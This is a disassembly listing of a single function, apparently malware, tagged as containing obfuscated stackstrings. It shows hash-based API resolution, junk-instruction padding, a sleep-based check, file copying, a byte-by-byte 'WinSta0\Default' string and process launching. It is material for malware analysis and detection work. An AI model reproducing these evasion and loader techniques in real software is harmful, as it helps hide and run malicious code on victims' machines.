Function at 0x403220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x388
push ebx
push esi
push edi
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
push 0x7d40befd
push 0x401258
call dword [fcn.00402198]
push eax
call fcn.004013b0
add esp, 8
mov esi, eax
call fcn.004012a0
push 0x40124c
call esi
call dword [fcn.0040211c]
cmp eax, 0x276d
jne 0x40380d
call fcn.004012a0
mov eax, dword [0x40219c]
push 0x1fe4e7e8
push eax
mov dword [ebp - 0x24], 0
call fcn.004013b0
add esp, 8
lea ecx, [ebp - 0xc]
mov esi, eax
push 0
push 0
push ecx
push 0x400
call dword [fcn.0040211c]
push eax
push 0
push 0x1300
call esi
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x4032c7
call fcn.004012a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
mov esi, 0x64
push 1
call dword [fcn.0040218c]
dec esi
jne 0x4032db
call fcn.004012a0
mov dword [ebp - 8], 2
nop
push ebp
nop
nop
pop ebp
nop
inc ecx
dec ecx
pushal
nop
nop
add eax, 1
add eax, 0xffffffff
nop
popal
push 0xd4be2bdf
push 0x401240
call dword [fcn.00402198]
push eax
call fcn.004013b0
add esp, 8
mov dword [ebp - 0x24], eax
push eax
push 4
lea eax, [ebp - 8]
push eax
push 0xc
push 0xffffffffffffffff
call dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
pop eax
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
call fcn.004012a0
push 0
push 0x20
push 3
push 0
push 0
push 0x80000000
push 0x401118
call dword [fcn.00402170]
cmp eax, 0xffffffff
mov dword [ebp - 0x24], eax
jne 0x403378
call fcn.004012a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
nop
push ebp
nop
nop
pop ebp
nop
inc ecx
dec ecx
pushal
nop
nop
add eax, 1
add eax, 0xffffffff
nop
popal
call fcn.004012a0
call section..data
call fcn.004012a0
mov esi, dword [0x401144]
mov edx, dword [0x401140]
mov dword [ebp - 0x38], esi
mov dword [ebp - 4], edx
call fcn.004012a0
mov eax, dword [ebp - 4]
add eax, esi
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
add esp, 4
mov dword [ebp - 0x80], ebx
call fcn.004012a0
mov ecx, dword [0x40113c]
mov edi, dword [ebp - 0x24]
push 0
push 0
push ecx
push edi
call dword [fcn.0040216c]
call fcn.004012a0
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push 0
add eax, esi
push edx
push eax
push ebx
push edi
call dword [fcn.00402178]
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
push 0x401238
push esi
push ebx
call fcn.00401f50
add esp, 0xc
call fcn.004012a0
push edi
call dword [fcn.00402168]
call fcn.004012a0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x287]
mov byte [ebp - 0x288], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x183]
mov byte [ebp - 0x184], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x288]
push 0x104
push ecx
push 0x401220
stosb byte es:[edi], al
call dword [fcn.00402188]
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
lea edx, [ebp - 0x184]
push 0x104
push edx
push 0x401220
call dword [fcn.00402188]
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
lea eax, [ebp - 0x288]
push 0
push eax
call dword [fcn.0040215c]
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
lea ecx, [ebp - 0x288]
push 0x40120c
push ecx
call dword [fcn.00402164]
call fcn.004012a0
push 0x4011f8
lea edx, [ebp - 0x184]
push edx
call dword [fcn.00402164]
call fcn.004012a0
push 0
push 0x20
push 3
push 0
push 0
lea eax, [ebp - 0x288]
push 0x80000000
push eax
call dword [fcn.00402170]
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
cmp eax, 0xffffffff
jne 0x4035bc
call fcn.004012a0
push 0
push 0x80
push 2
push 0
push 2
lea ecx, [ebp - 0x288]
push 0x40000000
push ecx
call dword [fcn.00402170]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40355b
call fcn.004012a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
lea edx, [ebp - 0x24]
push 0
push edx
push esi
push ebx
push edi
call dword [fcn.00402174]
push 0x1400000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
call fcn.004012a0
lea eax, [ebp - 0x24]
push 0
push eax
push 0x1400000
push esi
push edi
call dword [fcn.00402174]
call fcn.004012a0
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push edi
call dword [fcn.00402168]
call fcn.004012a0
jmp 0x4035c3
push eax
call dword [fcn.00402168]
call fcn.004012a0
push 0
push 0x20
push 3
push 0
push 0
lea ecx, [ebp - 0x184]
push 0x80000000
push ecx
call dword [fcn.00402170]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40366f
call fcn.004012a0
push 0
push 0x80
push 2
push 0
push 2
lea edx, [ebp - 0x184]
push 0x40000000
push edx
call dword [fcn.00402170]
cmp eax, esi
mov dword [ebp - 0x24], eax
jne 0x403626
call fcn.004012a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
nop
push ebp
nop
nop
pop ebp
nop
inc ecx
dec ecx
pushal
nop
nop
add eax, 1
add eax, 0xffffffff
nop
popal
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x80]
lea eax, [ebp - 4]
push 0
push eax
mov eax, dword [ebp - 0x38]
push ecx
mov ecx, dword [ebp - 0x24]
add edx, eax
push edx
push ecx
call dword [fcn.00402174]
nop
push ebp
nop
nop
pop ebp
nop
inc ecx
dec ecx
pushal
nop
nop
add eax, 1
add eax, 0xffffffff
nop
popal
mov edx, dword [ebp - 0x24]
push edx
jmp 0x403675
call fcn.004012a0
push esi
call dword [fcn.00402168]
call fcn.004012a0
push 0xb58213bc
push 0x4011ec
call dword [fcn.00402198]
push eax
call fcn.004013b0
mov dword [ebp - 0x38], eax
call fcn.004012a0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x387]
mov byte [ebp - 0x388], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x4011e4
lea eax, [ebp - 0x388]
push 0x4011e0
push eax
call dword [fcn.00402190]
add esp, 0x14
call fcn.004012a0
nop
push ebp
nop
nop
pop ebp
nop
inc ecx
dec ecx
pushal
nop
nop
add eax, 1
add eax, 0xffffffff
nop
popal
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x78]
mov ebx, 0x44
rep stosd dword es:[edi], eax
mov dword [ebp - 0x7c], ebx
call fcn.004012a0
xor ecx, ecx
mov al, 0x61
mov dword [ebp - 0x1f], ecx
lea edx, [ebp - 0x20]
mov dword [ebp - 0x1b], ecx
mov byte [ebp - 0x20], 0x57
mov dword [ebp - 0x17], ecx
mov byte [ebp - 0x1f], 0x69
mov word [ebp - 0x13], cx
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x11], cl
mov cl, 0x74
mov byte [ebp - 0x1d], 0x53
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x1a], 0x30
mov byte [ebp - 0x19], 0x5c
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x66
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], 0x75
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], cl
mov byte [ebp - 0x11], 0
mov dword [ebp - 0x74], edx
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
lea eax, [ebp - 0x34]
lea ecx, [ebp - 0x7c]
push eax
push ecx
push 0
push 0
push 0x200
push 0
push 0
lea edx, [ebp - 0x388]
push 0
lea eax, [ebp - 0x184]
push edx
push eax
call dword [fcn.0040217c]
nop
push ebp
nop
nop
pop ebp
nop
inc ecx
dec ecx
pushal
nop
nop
add eax, 1
add eax, 0xffffffff
nop
popal
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
push 0x12c
call dword [fcn.0040218c]
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
push 5
push 0
push 0
push 0x401118
push 0x4011d8
push 0
call dword [ebp - 0x38]
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
push 0x12c
call dword [fcn.0040218c]
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
call fcn.004012a0
mov esp, 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret